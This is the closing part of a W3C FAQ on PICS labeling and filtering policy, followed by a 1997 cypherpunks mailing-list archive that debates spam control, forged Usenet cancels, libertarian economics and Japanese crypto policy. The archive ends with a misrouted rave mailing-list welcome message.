   of Boston, for example, requires public schools to install a
   client-based filtering product on all computers with Internet access,
   and requires public libraries to install a client-based filtering
   product on all computers designated for children.
   
  Does my country have a right to filter what I see?
  
   W3C leaves this question to the political and legal processes of each
   country. Some people argue that unrestricted access to information is
   a fundamental human rights question that transcends national
   sovereignty. W3C has not adopted that position.
   
  Does my employer have a right to filter what I see?
  
   W3C leaves this question to the political and legal processes of each
   country.
   
                       W3C's Roles and Responsibilities
                                       
  How does W3C view its role in policy debates about intellectual freedom?
  
   W3C's mission is to "realize the full potential of the Web." The
   following two points are taken from a talk by Jim Miller at the WWW6
   conference:
     * We wish to provide tools which encourage all cultures to feel free
       to use the Web while maintaining an inter-operable network
       architecture that encourages diversity without cultural
       fragmentation or domination
     * We provide feedback to policy makers regarding what is technically
       possible, how effective the technology may be in satisfying policy
       requirements, and the possible unintended consequences of proposed
       policies
       
   Thus, for example, when discussing the CDA-type legislation with
   government officials in the U.S. or abroad, it is appropriate for W3C
   to point out that sender-based restrictions are not likely to be
   effective at keeping all materials of a particular kind away from
   children, and that there could be unintended consequences in terms of
   chilling free speech or keeping the Web from reaching its full
   potential as a medium for communication and cultural exchange. W3C
   does not, however, debate with government officials about their
   perceived policy requirements. For example, Germany has a policy
   requirement of restricting access to hate speech while the U.S. does
   not: W3C does not try to convince either country that the other
   country's choice of policy requirements is better.
   
  Why does the CACM article suggest that governments might use blocking
  technology?
  
   Some people(see The Net Labeling Delusion) have criticized the
   following paragraph from the CACM article on PICS:
   Not everyone needs to block reception of the same materials. Parents
       may not wish to expose their children to sexual or violentimages.
       Businesses may want to prevent their employees from visiting
       recreational sites during hours of peak network usage. Governments
       may want to restrict reception of materials that are legal in
       other countries but not in their own. The off button (or
       disconnecting from the entire Net) is too crude: there should be
       some way to block only the inappropriate material.
       Appropriateness, however, is neither an objective nor a universal
       measure. It depends on at least three factors:
       
   1. The supervisor: parenting styles differ, as do philosophies of
       management and government.
       2. The recipient: whats appropriate for one fifteen year old may
       not be for an eight-year-old, or even all fifteen-year-olds.
       3. The context: a game or chat room that is appropriate to access
       at home may be inappropriate at work or school.
       
   The main point of this section is to underscore the fact that people
   disagree about what materials are appropriate in what contexts. This
   point is illustrated at several levels of granularity: invidual
   children, organizations, and governments. The critcism focuses on the
   mention of possible government blocking, which did not appear in an
   earlier draft of the paper. We believe the example about differences
   in laws between countries is useful in explaining why there is a need
   for flexible, receiver-based controls rather than the kind of
   sender-based controls (e.g., the CDA) that most policy discussions
   were focusing on at the time.
   
   The objection to the use of this example rests on an argument that
   governments should never designate any content as illegal. That
   argument is not widely accepted (in the U.S., for example, "obscenity"
   laws have been deemed constitutional, even though the CDA's
   "indecency" provisions were not). A more widely held position is that
   governments should not restrict political materials as a means of
   controlling their citizens. W3C leaves discussions about which
   materials should be illegal in a particular country to the political
   realm rather than the technological realm. W3C does, however, point
   out to policy makers, however, that it's not necessary to make
   materials illegal if they are offensive to some people but not others:
   end-user controls are a more flexible method of handling such
   materials.
   
  Could W3C have controlled the uses of PICS by licensing the technology?
  
   Licensing such a technology was not considered to be a feasible option
   during the time of the CDA. Not only would it have undercut the
   "neutrality" and appeal of the technology, the W3C then would have had
   to be in the position of determining who should and should not use it;
   this is not a role the W3C is competent to play.
   
  Is the W3C promoting the development of PICS into proxy server products?
  
   Yes. W3C is pleased that IBM has introduced a proxy server that can
   filter based on PICS labels, and encourages the development of other
   PICS-compatible servers. As discussed above, filter processing can be
   centralized at a proxy server while still permitting individuals to
   choose the filtering rules.
   
  What can I do now to promote uses of PICS that promote, rather than harm,
  intellectual freedom?
  
   In addition to acting in the political arena, it would probably be
   helpful to implement positive uses of labels, such as searching
   applications. It is surpassingly difficult for people unfamiliar with
   computers to imagine new applications. By building prototypes and
   demonstrating them, it may be possible to focus policy-makers'
   energies on those uses of technology that accord with your political
   values.
   
  What else can I read about labeling, filtering, and intellectual freedom?
  
    Governments
    
     * Australian Broadcast Authority report on its investigation into
       on-line services
     * European Parliament Green Paper: the Protection of Minors and
       Human Dignity in Audiovisual and Information Services
     * European Union Communication on illegal and harmful content on the
       Internet
     * Report of European Commission Working party on illegal and harmful
       content on the internet
     * Working Party Report
     * European Commission Forum for Exchange of Information on Internet
       Best Practices
     * Singapore Internet Regulations
       
    Media
    
     * Good Clean PICS: The most effective censorship technology the Net
       has ever seen may already be installed on your desktop (Simson
       Garfinkel in HotWired: February 1997)
     * Labels and Disclosure - Release 1.0 by Esther Dyson
     * MSNBC four-part series (October 1996)
          + Part 1: Censorship debate focuses on filters
          + Part 2: PICS adds new dimension to Web
          + Part 3: Internet watchdogs split over PICS
          + Part 4: Filters aren't a black-and-white issue
       
    Other Organizations
    
     * EFF: Public Interest Principles for Online Filtration, Ratings and
       Labeling Systems
     * CIEC: Citizens Internet Empowerment Coalition
     * ACLU CyberLiberties Campaign
     * ALA white paper (need link)
       
    Individuals
    
     * Rating the Net. Jonathan Weinberg. Hastings Communications and
       Entertainment Law Journal, Vol. 19, No. 2, pp. 453-482. (A
       balanced but critical academic's look at rating systems and their
       legal and social impact.)
     * The Campaign for Internet Freedom (anti-labeling/filtering web
       site in UK)
     * The Net Labeling Delusion (anti-labeling/filtering web site in
       Australia)
     * Fight-censorship mailing lists (Declan McCullagh's moderated and
       unmoderated lists; occasional discussion of PICS and related
       technologies).









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 4 Aug 1997 01:32:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: spam is good for you
Message-ID: <199708031725.KAA04724@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



> : slogan so far is "I may disagree with every spam you send, but : I
> will defend to the death your right to spam it. --Voltaire".

I need one.  I've got a few sources for 3x - 5x shirts.  Let me know 
if you need those sources.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 3 Aug 1997 22:47:40 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: The Poor in Spirit
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <3.0.2.32.19970803102828.0076fa60@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:29 AM 8/2/97 -0700, Kent Crispin wrote:

>In more general terms: A "free market" fundamentally grants more
>control to those with more money.  

In a free society, the "poor" have more money (collectively) than the rich 
and outbid them for resources all the time.  Were this not so, communities of 
the "poor" would never increase in size and yet they do.  

It is also much easier for the poor to get money in a free society than for 
the powerless to get power in the sort of societies you favor.

I can teach a poor person in America today the simple ways to triple or 
quadruple his income.  I could not teach a resident of France or Germany or 
Japan a simple way to triple or quadruple his "influence" on his government 
and indeed a tripling of such influence would give him much less than a 
tripling of income.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 4 Aug 1997 01:37:07 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Re: Tim Speaks the Truth / Re: Joichi Ito as a Junior Policeman
In-Reply-To: <199708031231.VAA00231@eccosys.com>
Message-ID: <v03102800b00a6dd2995c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Unlike "Toto," who claims to be "Truthmonger," I speak the truth.

At 5:12 AM -0700 8/3/97, Joichi Ito wrote:

>so they probably are pretty militaristic), Japan does not have the
>equivalent of the NSA. It really is in Japanese national security interests

And what of Chobetsu?

Cf. Richelson's books on the world's intelligence agencies for discussion
of Japan's version of the NSA.

I also had a discussion with an NHK crew about Chobetsu and the coopeative
spying arrangements at the USAF base at Misawa. The NHK folks seemed to get
nervious at what I was openly discussing with them, and averred that such
things are rarely spoken of in Japan, at least not as openly as I was
speaking of them. (I showed them the sections Richelson had on Misawa, and
Seymour Hersh's revelations about the 6920th and the Naval Security Group,
Task Force 59, and complicity in the offing of Gough Whitlam of Australia.)

Wise up, Joichi. You live in society more totalitarian than anything we
fear. Japanese citizen-units under video surveillance and afraid to speak
out. And surveillance and espionage technology deployed by your fascist
governmet--a term I mean literally, not casually--will worsen things
dramatically.

The only "cooperation" with them is to seek their annihilation.

And nothing but mischief will come out any meetings with government on
"crypto policy," as their goals can never be our goals. At least in the
U.S., despite obvious flaws, we have a "Congress shall make no law"
provision which _tends_ to make government meddling in speech, such as
meddling in crypto, more difficult.


--Tim May








>to consider minimizing risk by distributing it since they obviously do not
>have the ability to control it in the way that the US does. Anyone who
>has been following the statements by the Japanese at the OECD should
>note that Japan has alway lagged behind in supporting government control
>of crypto. In addition (although this article is very seldom sited in actual
>cases) the Japanese constitution provides for privacy of communications
>for citizens. Also, most of the crypto technology is held in private
>companies.
>
>Really, what I am try to do is two things:
>
>1) Make sure that Japan makes the right decision about crypto policy so
>that they do no stifle commercial development of crypto or put at risk
>national and individual security/privacy by implementing a weak system because
>of political pressure or domestic surveilance requirements.
>
>2) Make sure that Japan does not repeat the US "Hacker Crackdown" and
>more recent Australian crackdowns which I think can cause a rift between
>hackers and society. Right now I think the risk of weak security from
>the point of view of IWar and just plain network failure is much more
>important
>than cracking down on hackers/crackers. I'm trying to head off such
>"crackdown"
>movements by trying to put threats and risks into perspective at the National
>Security level and take the focus away from the activities of hackers who
>I think can help improve security and lower risks in the long term.
>
>As for Tim's message... I keep worrying (when I am in Japan) that I'm too
>radical, so it's nice to hear from someone who is really hardcore to put
>a wimp like me in my place. ;-P
>
>I guess I still believe in trying to redirect the process of government before
>"dropping out"... I'm not making it any easier for the "bad guys" giving them
>my opinion and I can alway "drop out" when I think no one's listening
>anymore...
>
>Anyway, I'm going to stop writing now before all of the government people
>reading this list decide to put me in their kill file. Then no one will be
>listening
>to me. ;-P
>
>
>- Joi
>
>P.S. I wrote an article in the Daily Yomiuri about a year ago that outlines
>where I am coming from. Please take a look if you are interested. The
>Daily Yomiuri is a national Japanese newspaper.
><http://www.garage.co.jp/~jito/article.html>
>
>--
>Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
>Fingerprint for RSA PGP Key ID 0x0EE23A2D
>0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
>Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
>58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
>Home Page: http://domino.garage.co.jp/jito/joihome.nsf
>To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 3 Aug 1997 23:01:27 +0800
To: Adam Back <jf_avon@citenet.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030302.XAA08565@cti06.citenet.net>
Message-ID: <3.0.2.32.19970803105321.039744cc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:29 PM 8/3/97 +0100, Adam Back wrote:

> 5. government issues internet drivers license

Lacks authority.  Would have to figure out some way to get IETF to adopt its 
model, get software written, get enough hosts to adopt new software.

Rough.

Because after all those steps are taken, I can still sell anonymous accounts 
with virtually no risk of effective punishment.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM+SbYIVO4r4sgSPhAQHuKgQAl/K2ZEu7bgUzRzRQfn2r5zbaz6hl7SkP
E3vNnGZ1sYIVpX8yloKQ4d/q3K6+ZydouR6W8eaz5MYvz629clRX6gDUKio7QN6Q
6mVi5W79EsU1Jdx+MNQysT19mPgdC/To9Lm3kq/LJiSJYTyXr2qkXmHIwj72oT2k
xYLL3CsAlws=
=tpUt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 18:42:54 +0800
To: platypus@acmeonline.net
Subject: socialism = facism (was Re: non-censorous spam control)
In-Reply-To: <Pine.LNX.3.93.970803122328.686K-100000@shirley>
Message-ID: <199708031002.LAA00626@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




David Formosa <dformosa@st.nepean.uws.edu.au> writes:
> On Sat, 2 Aug 1997, Steve Schear wrote:
> > I can't fuly agree. In Europe, both communism and fascism started from the
> > socialists (in fact, the fascist were called National Socialists)
> 
> The fascists called themselves Socialists for the same reson that the
> main pro logging group calls themselfs _The Forest Protection Socity_ as a
> returorical techneek to sucker peaple.

Socialism tends to lead to a fascist society.

> > and both accept the "... idea of a political party which embraces all 
> > activities of the individual from the cradle to the grave, which claims
> > to guide his views on everything, and which delights in making all
> > problems questions of party...," F.A. Hayek, The Road to Surfdom.

That's a reasonable expose' of the similarities.

> Replace political party with free market and you get the econmic
> reationalisum/thatureisum that has chocked socity.  The freandly
> socilisum that both the GNU mannifesto and most of the net works on
> has no such totalitarian tendencies.

The free market is much closer to the freedom of the net than you
might imagine.

eg. Socialism says that the state will steal from by force (guns,
imprisonment, etc follow quickly if you resist the theft) to give to
others who `need'.  Needs are unbounded.  How do you measure `need'?
By who has the most expensive lobyists, who can afford to pay the
highest bribes to politicians?  By who is the laziest and has allowed
their personal affairs to slip into the most disgraceful state.

In a free market economy such `needs' are met by charity.  People give
of their own free will, and give to charitable organisations that they
view as the most efficient at handling the causes they individually
think worthy.

If people don't want to give to this charitable cause, well then it
isn't worth supporting, to them.  If you have to take their charity
and gun point, it isn't charity, it's theft.

Socialism is based on theft.  So is Fascism.  It's forced labour, or
at least forced theft of assetts.

`Social contract' foo.  What social contract did I sign with the
crooks milking the political system?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 13:33:48 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <FocTae6w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970803111325.686B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim Skirvin <tskirvin@math.uiuc.edu> writes:

[...]

> Look in your "control" newsgroup, and you'll see that most of the
> cancels forged for the MMFs state in the body that they're being
> cancelled because they're "illegal".

No thay state the MMF are illegal.  It dosn't say that its becuase its
illegal that there being canceled.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+Pbq6QK0ynCmdStAQG1FQP/RN8Y+Tbw6pJ2qvm0x/eiw+Vlg28Fm4Im
21Ieg3vfa2fZ/GnCnQ7mFZSTYxfN47Qyr4GSl6KO6AgA7iNiT0oKoiXKvOc6qcvx
y/Of78HcmjXrwCyfyGAGQhDi8cPcgmNRenDBMujgg03mb8Db7wNjj3wbS8OL4Nrl
UMhVwtbpGmU=
=cuRV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 18:40:31 +0800
To: platypus@acmeonline.net
Subject: no government regulation of the net (was Re: bulk postage fine)
In-Reply-To: <Pine.LNX.3.93.970803121625.686J-100000@shirley>
Message-ID: <199708031023.LAA00663@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




David Formosa <dformosa@st.nepean.uws.edu.au> writes:
> On Sun, 3 Aug 1997, Adam Back wrote:
> 
> > David Formosa <dformosa@st.nepean.uws.edu.au> writes:
> 
> [...]
> 
> > > The best soultion given so far is Cause's suggestion of modifying
> > > the fax law so that we can sue the spammers.
> > 
> > Law, and suing and the internet don't mix.
> 
> You got to be jokeing, what about alomost every AOL vs. Cyberpromo or
> Compuserve vs. Cyberpromo or all thouse other ISPs against Cyberpromo.

It happens, but IMO it's an inefficient dumb way to go about business.
The more modern net based enterprises will use more efficient
non-governmental solutions, and their more efficient conflict
resolution mechanisms will allow them to out-price, and eventually
cause the dinosaurs to go bankrupt, or to adopt similarly efficient
approaches.

Government backed legal systems are inefficient.  A purely anonymous
transaction where both parties identity is well concealed is much more
efficient.  There is no one to sue.  Fighting legal suits is
expensive, especially in the US.

The high rates go to the unproductive members of society, government
court officials, over-priced lawyers, etc.  This drives up all prices
through insurance premiums.  The company has to pass on the cost of
the legal system to their clients.

Mutually negotiated arbitration as part of the contract of sale is
much more efficient.  Third party arbitrators holding with a copy of
the contract, a deposit from each party in escrow, and a reputation as
a fair arbitrator is much more efficient.  Either party breaks the
contract as decided by the arbitrator and they loose their deposit.

Some people are using arbitration services now as an alternative to
the government legal system.  This is a form of automatic
privatisation of the legal system.  The government legal systems are
facing free market competition.

It'll probably help if the arbitration service is anonymous also, else
some idiot will fall back to the government backed legal system and
raise the prices of arbitration through the insurance costs they'll
have to factor in case of being themselves sued in a government court.

> > Eg. Say I spam you via an anonymous remailer.  So now who are you
> > going to sue?
> 
> The spammers if there advertising a servese will need someway for me to
> contact them.  Some way for me to get the goods.  Just anonomising the
> email will not hide there identy.  

True.  But how do you prove to one of these inefficent government
courts that it is indeed the spam beneficiary who posted the spam.

What if he says "I didn't do it"?  He's probably right, he probably
paid Spamford to do it for him.  Or perhaps someone doesn't like the
company and does a spam with their contact information just to cause
them trouble?  I'm sure it's happened before.

I'm not sure it's so easy to identify the spammer.  You can't sue the
person who's number is at the bottom.  What about the politician who's
home phone number got spammed to alt.sex.* as a phone sex number.

So to the government mentality when they bump into this problem, it
means that they will try to prevent anonymity.  They'll want you to
use their new fangled PKI to have either no anonymity, or else
escrowed anonymity, where the government gets to see who everyone is.

> Any way pushing spammer email though most email remailers will cause
> them to crash from sheare volume.

That's also not a good thing.

The danger with using government to attack spammers, is that this is
the net, and we don't want governments involved in regulation of
content, nor in attempting to enforce "identity escrow", "internet
drivers licenses" or anything else.

This is the likely long term or even possibly short term outcome of
calling for help from government to sort out spammers.

We can sort them out ourselves without the need of government
intervention, thanks kindly.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 13:47:37 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <6PBTae5w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970803111729.686D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Please examine Net.Scum web pages for the self-appointed censors like
> Tim Brown (http://www.netscum.net/brownt0.html)

Tim Brown is clearly rouge I don't think he has any allies I do not
think he has support from the mainstream cancelers.

[...]

> Here's one counterexample. Yes, it's in the regional relcom.* hierarchy.

You know very well that regionals are not part of UseNet.  You would have
to bring that up with the admins within the relcom.* hierarchy.

> Yes, there are lots of folks who forge cancels for "inappropriate 
> cross-posts" in the "big 8".

The standard of everdence is lower then normal for that last stament.
Please supply everdence.

[...]

> And now some friends of Tim are forging cancels for any traffic originating
> from UUNet,

We are undermineing UUNets atemp to gain a monopoly on newsgroups. :D

> irrespective of contents,

Thats what content free canceling is noramly about.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+PexaQK0ynCmdStAQH/DgP5AUJO2zosLHbJWG2PNr8tZvN/vnxCQ7XM
H/8Zz8siUVVeWbfujMbrw1SibFNv6fJ0kNRCgierpMrQF6xyWpcA40Vfd5UbjGpz
/CmX+1MS9iyzS8rFbqS2UrZ1vKFs7ycE7oOl0jKY2qAADEtn2u6iBkLLTBb0KJGH
D++k0bnpD7A=
=yl1f
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 14:05:58 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <X30sae2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970803113522.686F-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> I'm sorry, I don't see how posting megabytes of noise every day can
> swamp the content.

You don't recall the poetry feastavil?  What about the sex groups for the
less popular fetishes?

> Moreover, if such actions were indeed cause a problem, they would not be 
> eliminated with payments. Some people would be willing to spend money to
> "flood" the net 

Here we aggry, porn4pron and others will still make a proffet from
spamming.  Infact puting a cost to posting creates a biase aggainst
unpopulare options and towards spam.  Indeed such a payment system would
make the problem worce.

> Instead of discouraging the behavior you don't like, encourage the
> behavior you do like.

[Nods]  The good old blow job prinisipul.

> I invite Adam and David to subscribe to the freedom-knights mailing list
> (send 'subscribe freedom-knights@jetcafe.org' to majordomo@jetcafe.org)
> if you want to continue this not-quite-crypto discussion there.

I have attempted to do so in the past,  and will attempt to do so again.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+PidqQK0ynCmdStAQHZawP/RS2pCTyKrsOMqHGq2BuNsdEd4Xe+qJt8
8HzSL+80yuU4wXK2MttgVyhLC91JgFJkxgllhhJxfZtn2rF+FdEJ3DwRzsC4jzm6
CwXKmoG2kAe3wZ7V5w9rTuGgblCwKjUsXlSAAFERC4eXtpeV5VvlhmUhONTrW4t4
dpxGGQawZZ8=
=PliC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sun, 3 Aug 1997 11:09:22 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Joichi Ito as a Junior Policeman
Message-ID: <199708030304.MAA22318@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi Tim.

At 23:46 97/08/01 -0700, Tim May wrote:

> And why are you helping to write a report that will be the "official
> position" of the Japanese cops?

Because, it would be much better to have it say, "we don't want key
escrow." My position on the study group is much more like making
a testimony in congress. Unlike the US, once a bill hits the floor,
it is very hard to participate. I have to participate while it is still
in the ministry level.


> The JDF is notoriously militaristic. You should reconsider this.

Again. That is exactly why I am diving in to give my opinion.
Leaving it to themselves to figure things out is probably much worse
than having someone like myself in all of the study groups giving
my frank opinion.


> And Cypherpunks should be very careful about "advising" an obviously
> co-opted member of the Japanese military and police establishment.

Again. If you want to view me as "co-opted" that's fine. Without me,
you would not have gotten Gilmore, Carl Ellison, or Whit Diffie's voice
on the record during the study group hearings. Do you think I should
just sit back and let the KEA's take over? 

> Use crypto to undermine such entities, not support them. Crypto will
> unleash anarchy on the world.

Why not let them figure it out instead of waging a war?

> You sound like a "junior policeman" to me.

Well I'm not.

> Another person to add to the killfiles.

What a productive attitude.

- Joi

P.S. I am only subscribed to cypherpunks lite. If you want to harass
me or comment, please cc my directly.


--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: travel23@juno.com (The Traveler)
Date: Mon, 4 Aug 1997 00:06:58 +0800
To: cypherpunks@toad.com
Subject: Info on House members
Message-ID: <19970803.115119.3990.0.travel23@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



    WASHINGTON (AP) - Civic-minded Web surfers can review reams of
information about the House - from members' financial disclosure
statements to historical information and archives - courtesy of a new
resource center that launched a site Wednesday on the Internet.
      ``This creates a whole new world,'' said House Speaker Newt
Gingrich,  R-Ga., who helped dedicate the Legislative Resource Center in
a converted storage room beneath the rotunda of the Cannon House Office
Building.
      It combines the functions of several previously separate offices,
including  the House Library, the Office of the House Historian and the
House Document Room, to provide one-stop shopping for information about
the House of Representatives.
      Visitors can also conduct research in person at the office.
      The Internet address is http://clerkweb.house.gov.


--------------
"Sometimes you're the bug, sometimes you're the windshield."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 18:02:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: your LISTSERV request  "subscribe socal-raves-digest"Re: your LISTSERV request  "subscribe socal-raves-digest"
Message-ID: <199708030954.LAA12408@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~

	Welcome to the Southern California Rave mailing list!

^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~

     Better known as SoCal-Raves, this list is for the discussion of
anything having to do with raves and the underground club/dance scene
in the Southern California area.  This includes the counties of Los
Angeles, Orange, San Diego, Riverside, San Bernardino, and possibly
Ventura and Santa Barbara as well.
     Don't let the broad area scare you.  This list is about the local
scene.  About what is happening near you.  Although rave flyers seem
to think L.A. and San Diego are the only places local DJs are from,
there is quite possibly something going on in your backyard.  And this
is the place to talk about it.

     Appropriate topics include:
       - announcements of upcoming events in the Southern California 
area.
       - reviews of shows/raves/DJs/music/etc.
       - rave-culture like clothes, smart drinks, rave attitude, etc.
       - local radio shows and stations that play rave and techno.
       - where to find the music, clothes, etc.
       - rave picnics and other non-rave rave-related events.
       - how to throw your own rave (and not get busted).
       ...and almost anything else rave related or related to the
          local scene.

     Try not to discuss raves not in the Southern California area or
subjects that don't have anything to do with raves or this area.
Though some discussions of other rave scenes may at times be
appropriate.  And try to keep from getting into flame wars and overly
personal discussions on the list.  Some comments are probably better
kept to personal mail.  Keep in mind that what you are sending to the
list you are sending to everybody.
      Other than that, go for it.  This is your list.  Your scene.
I'm hoping that this list can be a catalyst for helping to improve and
unify the scene in SoCal.  At least we should be able to get that
"community" feeling that so many have trouble finding in the SoCal
rave scene.  And maybe, some day soon, we might even be throwing our
own raves just as the SFRaves list has.

      This list should also be a good place to find out about the
scene in SoCal.  Hopefully soon there will be a calendar list.  In the
mean time please send me any info you have on upcoming raves and I
will compile an upcoming rave calendar and post it to the list once a
week.

      Now for the technical stuff:

      - Any mail sent to socal-raves@ucsd.edu will get sent out to
        everyone who subscribes to the list.
      
      - socal-raves-request@ucsd.edu should be used to subscribe and
        unsubscribe to the list.  To subscribe you should send a
        message with the line "sub socal-raves" or 
        "sub <email address> socal-raves" in the body of the message,
        not the subject line.  The latter form should be used if you
        want to use an address other than the one shown in the "From:"
        line of the message.  If at any time you want to unsubscribe
        or delete your name from the list (we would miss you) the line
        would be "del socal-raves".  If you need help send a message
        with the line "HELP" and you will get a help file on how to
        use the listserv.

      - Administrative problems about the list should be sent to
        socal-raves-relay@ucsd.edu and Vigor Mortis, list administrator
        extraordinaire, will take care of you.
      
      - Any other SoCal-Raves list questions and rave info (for the
        calendar) should go to me at underdog@netcom.com

      Some info about me.  When I started college about a five years
ago I was intrigued by industrial music that was nameless to me at the
time.  Within a year or two I was doing an industrial radio show and
going to underground clubs that played everything from acid house to
industrial danse.  Although many of these clubs were illegal, there
was not a lot of hype, and they were definitely better than the L.A.
club scene (which always seemed to me to be one big pickup joint/ meat
market).  They were basic.  Raw.  Even tribal.  Full of energy.  They
gave me a place to dance without feeling pressured to ask some woman
to dance with me who could care less.  I really wanted to start a
